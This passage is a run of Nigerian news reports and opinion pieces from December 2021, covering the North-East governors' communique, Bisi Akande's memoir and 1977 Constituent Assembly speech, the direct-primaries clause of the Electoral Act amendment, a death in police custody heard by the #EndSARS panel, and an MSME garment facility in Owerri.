the FCT administration towards resolving the burdensome challenge of infrastructure funding through budgetary allocations. The Managing Director of Gwagwa Concessions, Farouk Saleh, while presenting a symbolic key of the District to the FCT minister, promised that his company would deliver on the provisions of the contract for the development of Gwagwa District. (NAN) The North-East Governors Forum on Wednesday implored the Federal Government to invest more in power projects in the region to accelerate its economic development. This was contained in a communique signed at the end of the forums sixth meeting held in Damaturu, Yobe, and signed by the Chairman, Babagana Zulum of Borno. The communique noted with dismay the challenges of power supply in the region, especially in Maiduguri and its environs, which experienced nearly one year of total blackout. It also expressed concerns over the non-inauguration of the Dadin Kowa and kashimbila hydro-power plants. The communique said non-commissioning of the projects had stalled development in the region. The forum deliberated extensively on the Mambilla Hydroelectric project. It called on the National Assembly and the Federal Government to make adequate budgetary provision in the 2022 appropriation bill for the implementation of the project. Forum, while recognising that the 2022 budget is in its final stages, calls on the National Assembly to look critically with a view to ensuring that adequate budgetary provisions are made for all major capital projects in the sub-region. Investments in the projects will guarantee peace and economic prosperity in the sub-region, the forum said. The forum observed that there was significant improvement in the security situation in the sub-region as evidenced by the mass surrender of Boko Haram fighters. It commended the Federal Government for its various initiatives towards stabilising the region. The forum, however, called on the Federal Government to establish a sustainable programme for handling repentant terrorists. It also noted that kidnapping and farmer-herder clashes were worrisome in the sub-region, and resolved to undertake the necessary measures to curtail the menace. The News Agency of Nigeria (NAN) reports that the meeting was attended by governors Zulum of Borno, Mai Mala Buni of Yobe, and Inuwa Yahaya of Gombe, while the deputy governors of Bauchi, Adamawa and Taraba represented their governors. The forums next meeting will be held in Gombe from March 9 to 11, 2022. (NAN) A bill to restrict the age of presidential candidates to 70 and below elicited intense acrimony on the floor of the Constituent Assembly in 1977 that it pitched the members into different camps. Although the bill was eventually passed, it was removed by General Olusegun Obasanjo, who was the head of the military regime at the time. Bisi Akande, a former governor of Osun State, stated this in his new autobiography titled My Participations. The anti-Awolowo lobby in the Assembly worked very hard on this and the bill was passed. It was apparent that it was aimed at aborting the presidential ambition of Awolowo, who would be 70 by March 1979, he wrote. The Constituent Assembly was convened in 1977 to deliberate on the report of the Constitution Drafting Committee headed by Rotimi Williams, who was the first Attorney-General of the defunct Western Region. It was part of Mr Obasanjos Transition to Civil Rule programme and was headed by Udo Udoma, a retired judge of the Supreme Court. According to the book, the Awolowo camp took its revenge when some prominent northern leaders attempted to insert Sharia Law into the proposed Nigerian Constitution and bring it at parity with every Act of Parliament. The group vigorously opposed the move, the book stated. It was a most acrimonious debate and when it was defeated by the majority, its proponents, led by the duo of Alhaji Shehu Shagari from Sokoto State and Malam Aminu Kano from Kano walked out. Justice Udo Udoma was not deterred by their walk-out and the Assembly proceedings continued un-adjourned. With that, the Sharia lobby stayed away from the Assembly until they were persuaded back when Obasanjo intervened and addressed the plenary session of the Assembly. He warned that the military would not hesitate to intervene in the interest of the nation if the politicians continued to fuel tension and unnecessary division. Mr Akande said Mr Obasanjos threat strengthened the hand of Mr Udoma and there were no walk-outs or sustained protests till the Assembly wound down. However, the failure suffered by the Sharia proponents suddenly galvanised the Northern Peoples Congress (founded by Ahmadu Bello) and their old foes, the Northern Elements Progressive Union (led by Aminu Kano) into an alliance. The sudden romance led to speculations that the radical Aminu Kano was being considered for the presidential ticket of the group. However, when the NPN was formed and he was elected the National Publicity Secretary, he felt humiliated and angrily left to form his Peoples Redemption Party. President Muhammadu Buhari has not signed the 2021 Electoral Act Amendment Bill sent to him on November 19 by the National Assembly for his assent. Instead, the president has written to the Independent National Electoral Commission (INEC) and some other institutions for their observations on the bill. Mr Buhari has until December 19 to sign the bill or withhold his assent and communicate his objections to the National Assembly. The President has requested the commission and other critical national institutions to revert with detailed and considered views indicating whether or not the President should assent to the bill, INEC National Commissioner and chairman of its Information and Voter Education Committee, Festus Okoye, said in a statement. The bill has 21 clauses that contain amendments of the Electoral Act, but the stipulation of direct primary for nomination of candidates by political parties is one of the most contentious of the lot. Until the final passage by the National Assembly, state governors across party lines made frantic moves against the clause for direct primaries. Not originally part of the amendment, a motion for direct primaries was moved by the Speaker of the House of Representatives, Femi Gbajabiamila, during the clause-by-clause consideration of the bill after the public hearing in July. Mr Gbajabiamila, a member of the ruling All Progressives Congress (APC), urged lawmakers to make direct primaries mandatory for the selection of election candidates by the parties, as part of the amendment to the Electoral Act. This, he said, would enrich the countrys democracy by encouraging wider participation of party members in the nomination of candidates for elections. The motion, however, did not sit well with some governors and lawmakers. Having been transmitted to the president for assent, what does the bill portend for Nigerias democratic outlook? Or is it just another clever move on Nigerias political chessboard ahead of the 2023 general election? Direct and indirect primaries Section 87 (1-2) of the Electoral Act (2010) states that, A political party seeking to nominate candidates for elections under this Act shall hold primaries for aspirants to all elective positions. The procedure for the nomination of candidates by political party for the various elective positions shall be by direct or indirect primaries. Direct primaries involve the participation of all registered members of a party in the selection of the partys candidates. Indirect primaries on the other hand rely on the use of delegates who are often party leaders or political appointees at different levels to decide who flies its flag. Since its foundation about seven years ago, the APC has used both direct and indirect primaries to nominate its candidates, but the Peoples Democratic Party (PDP) and some other opposition political parties nominate their candidates largely through indirect primaries. Ahead of the 2019 general elections, 18 of the 27 APC state chapters in their governorship primaries in September 2018 opted for indirect primaries, while the remaining nine used the direct method. The nine states that settled for direct primaries include Abia, Akwa-Ibom, Bauchi, Cross-River, Kano, Niger, Ogun, Taraba and Zamfara. If the legislation gets Mr Buharis nod, the popularity of aspirants, within a political party, may begin to be factored into the selection process. Kicks and concerns APC was quick to endorse the proposed law but PDP vehemently kicked against it, accusing the ruling party o]f trying to subvert democracy and freedom of choice. In response to the PDP criticism of the clause in the bill, the APC, in two separate statements on October 13, downplayed the relevance of the main oppositions stance. In one of the statements, the ruling party said the patronic disposition of the 9th NASS should be commended as the bill represents the interest of all Nigerians. Just yesterday, the Senate okayed the Direct mode of primaries for nomination of candidates and also electronic transmission of results, subject to harmonization by the joint Committee of the National Assembly. Our party members can now appreciate the wisdom of the leader of our party President Buhari when he pushed that the party be taken back to the grassroots, the interim National Secretary of the APC, John Akpanudoedehe, said during the inauguration of the state congresses committees. While the APC as a party endorsed the direct primaries method, state governors, including those of the APC, opposed it. The governors in media engagements took exception to the ruling partys stance on the clause. Some governors described it as an attempt to usurp the function of political parties. In response, some lawmakers accused the governors of crying out because it weakens their stranglehold on political parties. Advertisements The Chairman of the Senate Committee on INEC, Kabir Gaya (APC, Kano), was frank on the reason why lawmakers endorse the amendment. He said it will protect lawmakers from governors who have been exploiting the weaknesses of indirect primaries over the years to handpick candidates for their parties. Sometimes, governors have delegates and they decide who will be the next House of Representatives member, the next senator. The best legislators are those who come back often, because of experience. But these days, because of what is happening, because of interference in indirect primaries, you find out that only 30 per cent will come back to the National Assembly. Of course, you are losing 70 per cent. You are losing experienced people. In the National Assembly, the more you come, the more experienced you become. This is a means of empowering the legislators, he said. Those who oppose direct primaries, however, say it is expensive in terms of planning, organisation, finance and manpower. Kebbi State Governor, Abubakar Bagudu, and his colleagues from Kogi and Benue states, Yahaya Bello and Samuel Ortom respectively, have urged Mr Buhari to decline assent to the bill. Mr Bagudu, who is the Chairman of the APC Governors Forum, argued that direct primaries will overstretch INEC which monitors the nomination of candidates for elections. Direct primaries involve supervisory roles by INEC. So, if multiple political parties are doing their primaries, INEC resources will be overstretched, and I think the chairman of INEC has even commented on that, he said in an interview with journalists. Mr Bello on his part dismissed the lawmakers argument of returning power back to Nigerians through direct primaries and accused them of plotting to pit the people against their leaders. The argument of returning the party to the people does not arise, because who took the party away from the people in the first place? I think the party remains with the people. The first thing is that the National Assembly is expected to do its job and we, as governors, respect that a lot, he said. But I have to warn that the few senators, including Senator Adamu Aliero, who are having issues with their governors, will not be right to push down direct primaries on Nigerians. While the governors efforts to dissuade lawmakers on the amendment may have failed, they apparently see a trump card in their access to the president and talking him into declining to the bill. Reality However, INEC has declared its readiness to monitor direct primaries of political parties if Mr Buhari signs the amended Electoral Bill into law. Since it emerged that the direct primary clause was included in the Electoral Act amendment Bill, many of you have been asking the Commission for its position. The issue is not about our position but the process. In the exercise of its constitutional power, the National Assembly has passed the Bill into law awaiting presidential assent. Once the process is concluded, the Bill becomes law and every person and authority in Nigeria, including the Commission, must obey, the chairman of the commission, Mahmood Yakubu, said. Egoistic agenda Jide Ojo, a political analyst and socio commentator, in an interview with PREMIUM TIMES, described the amendment of Section 87 by lawmakers as a needless effort aimed at flexing their egoistic agenda rather than pursue the countrys democratic interest. He said both types of primaries are susceptible to manipulation and should therefore be corrected through proper legislation around the entire process of nominating candidates. Whether you do direct or indirect primary, there are problems. If the rule of law will not be followed, if there would be no internal party democracy, if due process would not be allowed and you know we are talking about the primary, there is a leg to conducting the primary and that is screening of candidates, he said. Mr Ojo referenced the just concluded Anambra governorship election, where Andy Uba of the APC came a distant third in the poll, to buttress his point on how every system is susceptible to manipulation. Mr Uba, who garnered over 300,000 votes in the APC direct primaries, had only 43,000 votes in the main election. Go back and check, the screening of candidates has been very problematic because you screen out somebody you do not want, Mr Ojo said. That is where it starts. That is where the manipulation starts. You set up a screening committee after somebody has paid millions of naira to obtain an expression of interest and a nomination form. For governorship now it is about N22 million or 20 something million. Somebody paid that and you now said okay, on so date all the aspirants would be screened and the person that will screen will stand a very good chance, will just find a simple excuse to screen him out, Mr Ojo said. A suspect, Eric Ezeala, whose family members have not seen since his arrest in 2017, has been confirmed dead by the police. Appearing before the #EndSARS panel investigating complaints of police brutality in Abuja, on Tuesday, Izuka Eguzoikpe, an assistant superintendent of police, said he died in custody following some health complications. He also linked Mr Ezeala to an alleged kidnap kingpin, Chukwudimeme Onwuamadike alias Evans. This came less than two weeks after the police informed the panel that they could not find Mr Ezealas records and could not tell his whereabouts. After series of the panels invitations shunned by police officers over the matter, Mr Eguzoikpe finally appeared on Tuesday, saying Mr Ezealas arrest was in respect to a kidnap case that happened in 2017 prior to the arrest of Evans. He said Evans, in his confession to the police, mentioned Mr Ezeala as his second-in-command and gave Mr Ezealas phone number to the police technical intelligence unit for tracking. He was first tracked to a hideout Osun State, but the team couldnt make an arrest. On July 17, 2017, he was tracked to Ehime Mbano local government in Imo State where he was arrested, Mr Eguzoikpe said. According to Mr Eguzoikpe, Mr Ezeala was taken to Imo State police command where he gave his statement, allegedly confessed and admitted knowing Evans. The police witness said Mr Ezeala was subsequently transferred to the Force Criminal Investigation Department in Abuja where he was made to confront Evans. Evans confronted him and he admitted knowing Evans. He even confessed that there was a camp in Lagos where their victims are first kept, Mr Eguzoikpe added. Mr Ezeala was taken to his house at Lugbe where they met his wife and three children, said Mr Eguzoikpe. He said the wife was surprised as she had not seen him in months. According to Mr Eguzoikpe, the wife, Aduku Ezeala, made a statement that she had been suspecting her husband and had even reported him to the village elders. Mr Eguzoikpe added that Mr Ezeala was later transferred to Lagos, where he showed the Intelligence Response team where their kidnapped victims were held the house which he had sold when he realised the police were on his trail. Death in custody Mr Ezeala became ill on their route to the gangs armoury, according to him, and was rushed to Ikeja General Hospital for treatment. He was treated and released, but he later slumped in his cell during investigation and was rushed back to the hospital. He was evaluated by the doctor, who confirmed that he was dead Mr. Eguzoikpe said. He described Mr Ezealas death as shocking. No autopsy He said signal was sent to the commander of the Inspector General of Police-Intelligence response team (IGP-IRT). He added that no autopsy was carried out. We reached out to the wife and she shunned our invitation. The police cannot carry out autopsy without the consent of the deceaseds family, Mr Eguzoikpe concluded. Police lawyer, Blessing Ezeala, who incidentally shares the same surname with the deceased, tendered copies of Mr Ezealas statement, his wifes, and the signal sent to the IGP-IRTs commander. Documents extracted from the police crime diary were also admitted as exhibits. Cross-examination Fielding questions under cross-examination by the counsel for the petitioner, Nnonye Okpor, Mr Eguzoikpe said he was not aware of the nature of Mr Ezealas sickness. He also said he was not aware the suspect was asmathic. Advertisements Mr Okpor also asked if the police officer was aware that the petitioner, Mr Ezealas mother, Hilda Ezeala, had visited the station several times but had never been allowed to meet with her son. But Mr Eguzoikpe said the claim was false. The panel also asked if he knew the matter was taken to court and that the court ordered Mr Ezeala was either released or prosecuted. Mr Eguzoikpe said he was not aware of such court case. Panel commends police lawyer The panel commended the police lawyer, Ms Ezeala, for her intervention in the case. A representative of the Nigerian Bar Association (NBA) on the panel, John Aikpokpo-Martins, speaking on behalf of the panel, said the case had been on standstill until her intervention. The panels chairperson, Suleiman Galadima, a retired Justice of the Supreme Court, asked the police for the evidence of Mr Ezealas admission in the hospital and other relevant documents that would aid the panels decision. The case was adjourned for the panels general report. Petitioners case Erics mother, Hilda Ezeala, had petitioned the Independent Investigative Panel on Human Rights Violation by the defunct SARS and other units of the police, over the disappearance of her son. She told the panel on March 16, 2021, how Mr Ezeala was arrested on July 16, 2017, by the officers of the defunct SARS at their family home in Imo State. She told the panel how all her efforts to see his son after the arrest and get him released proved abortive. Mrs Ezeala, who said she was never told the offences her son was arrested for, said further that her son would later be reported in a newspaper publication to have been paraded by the IGP-IRT as a notorious kidnapper and armed robber, alongside Evans, on September 2, 2017. According to her, while Evans was charged to court along with other suspects after the news publication, her son was not charged before any court. She said despite the order of the FCT High Court in Jabi, Abuja, her son was not produced, and that she had still not seen him since then. I want it written in the Constitution of Nigeria in capital letters, that he who will not work shall not eat: May he be the son of a Christian, a moslem or a heathen; may he be the son of the President of this country or that of the Judge of the Supreme Court. Although his book is currently in circulation and generating a lot of controversy, Chief Abdukareem Adebisi Bamidele Akande (82) had earlier narrated the story of his life on November 17, 1977 at the Constituent Assembly in Lagos. It was an emotional story told by an emotional man, long before he held any public office, at the age of thirty-eight. The Chairman of the Assembly then, Mr Justice Udo Udoma could not interrupt Chief Akandes testimony, inspite of the short time allocated to each member to speak. Chief Akande spoke from his heart on that day. In his own words, he had declared then that: My name is Bisi Akande from Ila/Odo-Otin Constituency, Oyo State. I will start by telling this House that my hope is not in this Draft Constitution, which is under debate. My hope is in the standard of representation in this House. The standard is very impressive. It represents intelligence, experience and patriotism. Sir, you may want to know that my parents, during their life times, belonged to the class of the most hard-working Nigerians. Yet, they died as poor and wretched people, not because the gods were angry with them, but because our system was very bad. It was like the law of the jungle, where there are rats and cats, and the lions and the cattle had to live together. One was just eating up and swallowing the other. Unless I am allowed to refer to the history of the development of my people, I mean the people of my constituency, within the context of the past Constitutions, I may find it a little difficult to give suggestions on the type of Constitution I would like to be fashioned for the peoples of this country. My own town, a major historical town within my constituency, actually within Oyo State and Yoruba land, is known as Ila-Orangun. Traditionally, our major occupation was the production of palm-wine in commercial quantity. In short, we were palm wine tappers. My own father was a palm-wine tapper for upwards of about forty years. Daily, he had to climb about eighty palm trees, three times all over. In other words, he climbed palm trees about 240 times everyday, throughout the last forty years of his life. Yet, he lived and died as a very poor Nigerian. Sir, you may be able to appreciate his level of poverty if I tell you that by special arrangement between himself and my mother, he was able to produce the tuber and the grains for our food, while my mother was to supply the soup for the family. In one year, we might not have meat in our food, except during Sallah festival, when neighbours may be generous to give us some ram meat. In spite of all this austerity, in 1953 when I gained admission into a secondary school and when I was to pay only N40 a year for school fees, boarding fees, books et cetera, my father, my mother plus all their extended family connections could not afford the cost, and the idea of my going to the secondary school was dropped. My father inherited a large piece of land and landed property within my community, but this could not attract reasonable rent because land was not in demand in my area. But my fathers friend in Lagos, a Lagos man, who inherited the landed property of his forefathers throughout his lifetime was idle, but because the tax-payers money of this country was spent in developing Lagos, and the surburbs, he (coud) lead an idle life and yet apart from the fact that he was able to live not only comfortably but in luxury, he was able to train his children who are now my counterparts, in the special pre-primary, primary schools, secondary and post-secondary educational institutions. And what is more, because there is plenty of money in their family, they are too lazy to practice in any trade today. Like their father, they too are idling away their time in luxury. The irony of my life today is that his children, who are my counterparts, look down on me as too inferior and too unfashionable to continue with them the friendship of our parents. Now they occupy a house in Victoria Island. You will remember that Victoria Island was reclaimed, planned and developed with about N200 million naira of tax-payers money, before it was unjustly allocated to their father by our heartless successive governments. Some of my fathers children who now work in Lagos are living and scattered across the slums of Aguda and Ikate areas of Lagos. In these areas, which house over one million Nigerians, there are no schools, not a single primary or secondary school, no health care centre, no recreational facility, no roads, no drainage. It is a big slum, and the plots of land allocated for these amenities by the government have now been seized and encroached upon by the members of the idle family of the rentier class. They have now built commercial houses for the further exploitation of the people of my own tribe. I will suggest proper provisions to remove these atrocities at the Committee Stage, but in the meantime, the Constitution of my mind is the one that will reward hard work maximally, but punish idleness, as opposed to what obtains under the past Constitutions. The motto of the Soviet Union says, and I quote: The man who will not work shall not eat. And Paul the Apostle of Christ in 2nd Thessalonians Chapter 3, verses 10 to 12 says and I quote: We toiled and drudged, we worked for a living, day and night, rather than being a burden to any of you. We set an example for you to imitate, for even during our stay with you, we laid down the rule; the man who will not work shall not eat. We mention this because we hear that some of your members are idling their time away minding everybodys business but their own. I want it written in the Constitution of Nigeria in capital letters, that he who will not work shall not eat: May he be the son of a Christian, a moslem or a heathen; may he be the son of the President of this country or that of the Judge of the Supreme Court. First of all, I will be scared by any Constitution that may give blessing to haphazard measures. An example is the sending of soldiers to schools. If soldiers can make better teachers, why not replace the teachers with the soldiers in the meantime? So, while the soldiers train in the art of teaching through in-service courses, the teachers might be sent to the barracks to train as soldiers. Nigeria is presently made up of two major tribes: the tribe of the red eyes and the tribe of the comfortable idles. Those of us belonging to the red eyes tribe, who are in the majority, pray earnestly for the arrival of the day of total liberation. I would like to continue with the history of the development of my people within the context of the past Constitutions, in order to be relevant in my contributions to the Draft Bill under debate. The people of the old Ila-Orangun constituency were cajoled to leave palm-wine tapping and to go back to the land by the government of this country. The people of the whole of Ila/Odo-Otin Constituency were cajoled to leave their palm wine tapping and go back to the land by the various governments of the country. My people eventually developed very high skills in farming. In the process, through communal efforts, they have built numerous bush paths and tracks that linked them with some towns and villages in Kwara and Ondo States and with some towns and villages linking them with the rest of Oyo State. The experiments of trading in exported goods led them to the development of wider roads to link them with the railway stations in Osogbo and Offa, and the widening of the bushpaths and tracks to link them with the original economic and political associates of the immediate neighbouring towns and villages. During the period of self-rule, the central governments at both the state and the federal levels took over these roads from the community. But since the past fifteen years, these roads had been left in a terrible state of disrepair, so much that the people of my constituency, which is situated at the gateway between Kwara and Ondo States and which is a large farm land within Oyo State, can no longer link themselves with any of the outlying marketing areas of Oyo, Kwara and Ondo States. It has become a desolate Island surrounded by roadless lands. You need an excursion to the area to be able to guess what happens to the social and economic life of the people. No matter the remoteness of a people from the seat of government, and no matter their remoteness from the source of authority, the Constitution of my mind is the one that would cater for even development of all the communities within the State, whether rural or urban. And where the government operating the Constitution fails, the Constitution should provide a means of redress for the neglected community. On the authority of one Dr J. O. Popoola of the University of Lagos, I understand that one commissioner in Oyo State, who perhaps has his eyes on the 1979 return to politics, was put, in October 1975, in the Ministry of Trade and Industry. Within the six months in office, the only Brick Industry he worked upon was sited in the his village. He was transferred from the Ministry of Trade and Industry to the Ministry of Education. There, in the last nine months, the only College of Arts and Science he worked upon is being sited in his village. I would like the Constitution to prevent the use of the tax-payers money to pave way for the boosting of any commissioners political chances at the expense of the rest of the members of the State. Whereas at present there are no sufficient secondary school places for over 80 per cent of the primary school leavers own constituency, what is funny is that the governor of that State had to go out to the people and declare the area of that commissioner as the educational zone of Oyo State, while my own area, my constituency, where no leads to is declared as an industrial zone. Palm wine industry, I suppose! First of all, I will be scared by any Constitution that may give blessing to haphazard measures. An example is the sending of soldiers to schools. If soldiers can make better teachers, why not replace the teachers with the soldiers in the meantime? So, while the soldiers train in the art of teaching through in-service courses, the teachers might be sent to the barracks to train as soldiers. Before 1979, both teams would make adequate numbers of trained military teachers necessary for the national need. After all, we at present have soldiers on the surplus and teachers in short supply. Talking seriously, of course, I support Mr Abraham Adesanya, who would like all school leavers to train as soldiers before picking up any job or proceeding to the University. However, I want the Constitution to make all the first level schools, that is the primary schools, to run for nine years, instead of the present six years. I want all the secondary schools to be abolished and I want the number of years in the University to increase to six or seven years, depending on the course. In other words, a child will enter the first level school in his sixth year, and he will come out in his 14th or 15th year. Then he will serve as a soldier in training for one year. At 15 or 16, he will either pick up a job or proceed to a vocational school or to the University. The merit of this suggestion is that nobody will be an illiterate again after the first level of school. The present system allows for pupils in their millions to leave primary schools as illiterates. Nobody will be too young again to pick up a job after the primary school. As at now, you leave the primary school at the age of ten and you cannot pick up a job. There are no secondary schools for you to attend, and the very many stages of bottlenecks for entering school will have to be reduced to one. There will be no bottleneck forschool leavers in entering secondary school. The only bottleneck will remain between the first level of school and the university or vocational institutions. Above all, because of the military training for all the school leavers, there will be no domination of one ethnic group over the other in the art of soldiering, and if military training, as people say, can infuse discipline in the body politic of this country, it will have to run across all disciplines, that is, all engineers, all accountants, all labourers, and people in all walks of life would have been trained as soldiers. It is a good Constitution that declares, defines and entrenches Fundamental Objectives. It is a good Constitution that prescribes the structure of the governmental institutions with the procedures for establishing them, as a means for the effective pursuit and achievement of the set objectives. It is a good Constitution that states clearly the relationship between one governmental institution and another One other important and serious matter on the issue of higher education is that because of the monetary attractions in the professional fields, while more and more students opt to read law, accountancy, architecture, engineering, et cetera, less and less are now opting to read mathematics, physics, biology and chemistry in our universities. These subjects, people claim, are reserved for school teachers, as if the teaching job is a disease. Applied sciences can lead to scientific inventions and industrial growth. Without natural sciences, I am afraid, there can be no applied sciences. Something must be done to arrest this ugly situation, which may knock the bottom out of our hope for greater tomorrow and the leadership of Africa. I share the sentiment of Chief Akinjide and Mr Awoniyi on the need for a constitutional financial strength and greater autonomy for the local governments. While I want the Constitution to provide for an independent guideline, supervision and control of local governments against corruption, inaction and unnecessary excesses, I would not like the state government to have powers to dissolve the local governments. I was born into a moslem home. The Constitution must, by its provisions, specifically abolish the state services in any of our churches. It must abolish the opening of parliament by the clergy. It must also abolish all the religious services in connection with the opening of the assizes. I share the sentiment of Mr Alagbe on the demand that only those things that affect all Nigerians, irrespective of religion or ethnic groups, must be promoted to the federal level, while sectional demands, religions or otherwise, must be relegated to the states. Not until then, our federalism will not conjure true unity in diversity. If a state wants feudalism, let it have it. Sharia, to my mind, is an instrument of feudalism. It should not be made a federal matter. In the hands of a powerful dictator, experience has shown in Africa that all measures of control were always suppressed and these are, the parliament, the so-called independent judiciary, the opposition, the political parties and the press itself. In the case of Nigeria, experience has shown that where others withered away in a feeble way, the press always fought relentlessly to (hold) the various successive regimes (to account). Because of this, I would not support state ownership of the press. It is a clandestine way through which leaders boost their personal aggrandisement, and through which tyranny can be perpetuated. I want provisions in the Constitution to paralyse and present the re-enactment of such laws, as the existing obnoxious law of sedition and the Press Law of 1964. It is a good Constitution that declares, defines and entrenches Fundamental Objectives. It is a good Constitution that prescribes the structure of the governmental institutions with the procedures for establishing them, as a means for the effective pursuit and achievement of the set objectives. It is a good Constitution that states clearly the relationship between one governmental institution and another, between the government and the citizens and makes provisions for the legal enforcement of the duties of the citizens to their government and the responsibilities of the governments to the citizens to avoid drift, instability and turmoil. I support, whole-heartedly, as stipulated in the Draft (Constitution), the Executive Presidency system. An elected minister may be popular among his people, yet he may be unintelligent. He may be inexperienced and corrupt. The end result is that he will always be leaving things to the civil servants to decide. Please let the President help himself by appointing a set of crooks in beautiful dresses, if he so desires! He will either rise or sink with them. The struggle to politicise positions in the civil service has always been occasioned by the attitude of the senior civil servants themselves. They have power to appoint junior staff and to influence the appointment of the senior ones. You discover tribalism governing their decisions in playing those roles. Take a count in any office headed by an lgbo, Yoruba or Ijaw-man, you will find that the majority of junior staff will either be lgbo, Yoruba or Ijaw, as is the case with the senior civil servants in that office. Now that unemployment is higher at the junior staff level, who would not like his kinsmen to be equally employed? Eric Teniola, a former director in the Presidency, writes from Lagos. Advertisements First of all, our present instruments of addressing social problems, such as Boko Haram in the North-East, farmerherder clashes in the North-West and North-Central, settlerindigene clashes and kidnappings elsewhere are inadequate. None of these crises if they are not still just mere symptoms started any time recently, they go to almost as far back as independence. We are only witnessing their culmination There is no doubt about the fact that the past provides us with far more effective tools for addressing our socio-political and economic problems than we now have and this has to be said, even if it will earn one the label of being conservative. We can all attest to how even our best use and application of the so-called modern instruments of state contained in our constitutions, policies and the like are failing us. That is true, because, yes, every advancement in our societies make us more efficient and faster, but every bit of it takes from the pristine, innocent human essence. Unfortunately, we dont grow to be young we grow to be old; to then decline and ultimately collapse. This is also true of our societies, especially seen as a system. That is why we must, even if in passing, mention and believe in Ibn Khaduns philosophising of the human society as being organic and therefore also grows to decline and eventually collapse. Our systems, which have truly never worked for us at their best, and at any given time till their present decay, thanks to system incompatibility, are increasingly becoming inadequate for our societies everyday problems. Even though we make-do with it, with time it will, without any doubt, go down, because it is, if nothing, not different from the many preceding it. But when systems fail, what do we do and/or rather, what happened in the case of Nigeria? Nigerias case was one of system disruption and it is normal for systems to be uprooted and replaced abruptly, especially through wars or natural calamities. This is a historical reality, even. But in the case of invading power uprooting and replacing a system by its own, the possibility for smooth compatibility is low. Where the invading power, overwriting its own system, is not occupying the space; and even more so where there is no, or failed, effort at socio-cultural assimilation, the system would be a death on arrival DOA. I follow Dr Mahmoud Tukur of blessed memory to say this is true of the Nigerian state. I can say with some aplomb that the core of our existence may survive, but the superstructure has, if it has ever lived, now outlived its relevance. Before the Department of State Services (DSS) invites me for exciting public sentiments with spasms, let me clarify my point, which is that the Nigerian state will survive, but the Nigerian system is off to the rocks; and the former is also only guaranteed by the latter! That is probably why President Muhammadu Buhari is nonplussed as to why anyone would rise up to protest against his administration. Here is a crude constitutionalist, who believes that societies are only in crisis because constitutional provisions are not duly followed. Now, given that he thinks he does that to the latter an outright impossibility in the first place his sympathies are largely to himself. If our Constitution is anything to go by, that is right; but that he is still criticised despite that, is a testament to the fact the Constitution is not a wholesome directory of our nations problems and their solutions. Laws written out of human experience, insights and predictions and even more, interpreted and applied by others of largely different experience, age, mental framework and circumstance, and whose only acquisition of them is by way of facilitation, is unarguably limited. Therefore, not even their best application can help us. First of all, our present instruments of addressing social problems, such as Boko Haram in the North-East, farmerherder clashes in the North-West and North-Central, settlerindigene clashes and kidnappings elsewhere are inadequate. None of these crises if they are not still just mere symptoms started any time recently, they go to almost as far back as independence. We are only witnessing their culmination, and this is so in many other parts of the colonised world. The instruments are further undermined by long procedures, delays and bureaucracies. But in the replaced system, we have, for instance, in Borno, the Chima Chidiba, who was an officer responsible for a particular territory, with adequate powers to arbitrate, sanction and punish within his jurisdiction, on behalf of the centre. The office was responsible also for disputes over land, farms and other related cases; with the centre also exercising a strict supervisory role over them. Problems were therefore addressed right at their infancy. Yes by the wake of the colonial disruption, our institutions were weakening, as were those of most of the rest of the medieval civilisations, but they were to have regenerated naturally from themselves. Whether we like it or not, the local government system, which has failed to even rid itself of the ghost workers and quackery it had built up for itself decades down the road, has proven over time to be incapable of addressing these problems. The remnants of the structures of the former system, the bulamas or masugaris, lawans and district heads, completely emasculated of the power they used to wield, are also too weak, with little or no power at all. By the time they reach state governors, who, only further forward them to the federal government, these problems have grown out of proportion. By that time, the problems, which mostly emanate from non-issues such as rivalry over a girl, have already caused 50 or 100 deaths. It grows through the stages from individuals, to families, to clans and ethnic groups by which time no president, no military can comprehensively end them at once. For, how can the militaryor even the police address the kind of problem reported to have taken place in Jos, where a father collaborated with his younger son to abduct his other son for a ransom? And because so much is concentrated at the centre, our communities, which would have been the best instrument to deal with such problems, have become lousy, lame and weak. I must add, at a great risk, that our local communities, which are every states base, have completely broken down and this followed, first, the collapse of the institution of family. The so-called modern political economies, with technological advancements, also only further make man more sedentary, and therefore weaker, sicklier and less in control of the society making basic problems intractable to address. Even producing societies like China are now waking up to the reality of dealing with weaker, more effeminate and sicklier populations thanks to advances in technology. Truly, the centre holds so much, even for our own well-being. We are becoming completely inactive from dealing with our communal problems, other than a few for-grant, or, grant-driven, noise-laden, big-mouthed activism. That is why when the minister of defence, retired major general Bashir Magashi said we have given too much to cowardice which embolsters a few bandits with an even fewer weapons to match into communities and whisk away with schoolchildren, without even finger rising against them he was criticised, even though thats true. Abdulhamid Al-Gazali writes from Maiduguri, Borno State. The federal government on Tuesday unveiled a modern multi-million naira facility in Owerri to assist tailors and fashion designers in the production of garment and clothing items. Unveiling the facility at the 29th edition of the Micro, Small and Medium Enterprise (MSME) Clinic in Owerri, Vice President Yemi Osinbajo said it would improve the quality of locally made clothing. The facility that was commissioned today is the fourth to be commissioned in the country. It will service about 350 small businesses daily and over 110,000 each year. It comprises 200 world class, both manual and fully automated fashion equipment. It has a special facility that enables it to become a one stop garment centre for end to end production of various types of clothing items, he said. Mr Osinbajo said the facility would improve household income for tailors and create jobs. He said President Muhammadu Buhari gives priority to MSME because they are the engine of growth for the economy and because they account for almost half of the national income and great quarters of the jobs created in the country. The vice president explained that MSME clinic was an opportunity for small businesses to meet regulatory agencies such as NAFDAC, SON, CAC, SMEDAN and BOI, among others. He said it enabled the regulatory bodies to understand the problems small businesses face. In the course of running the clinic, we noticed that in addition to their request for a friendly environment, MSME also wanted to be supported in terms of production facilities which were lacking or expensive. This is how the president supported the idea of providing at least one shared facility in every state, he explained. The vice president said 10 of such facilities had been established this year across the states to complement those previously inaugurated in Anambra, Benue and Lagos. He disclosed that Edo, Kaduna, Kebbi, Ogun, Ebonyi, Katsina, Ekiti, Bauchi and Kano equally had shared facilities which would be inaugurated in 2022. Earlier, the state governor, Hope Uzodinma, said the project was a fulfillment of the three components of the shared prosperity agenda of his administration. This is why I can never thank President Muhammadu Buhari and his team enough for the creative enterprise expressed in the MSME scheme, he said. The governor explained that the facility was a collaborative venture between the federal and Imo Governments, and some private sector partners. He said the cardinal objective of the project was to empower young men and women, as well as help to eradicate poverty in the state. The state is slowly and steadily restoring its lost glory of being the industrial hub of the South-east. The state government has commenced the revival and recovery of all the moribund industries built by the late Sam Mbakwe, he said. He urged investors to take advantage of the tax holidays, provision of power using gas, ease of doing business and other incentives to invest in the state. (NAN) LAGOS, Nigeria, Dec. 15, 2021 /PRNewswire/ -- 54gene , the health technology company advancing African genomics research for improved global health outcomes, has announced the launch of its diagnostic arm; 7RiverLabs . The 